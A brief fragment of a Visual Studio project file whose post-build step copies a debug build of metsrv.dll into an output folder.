CommandLine="copy /y &quot;$(ProjectDir)\debug\metsrv.dll&quot; &quot;$(ProjectDir)..\..\output\&quot;"
/>
</Configuration>
<Configuration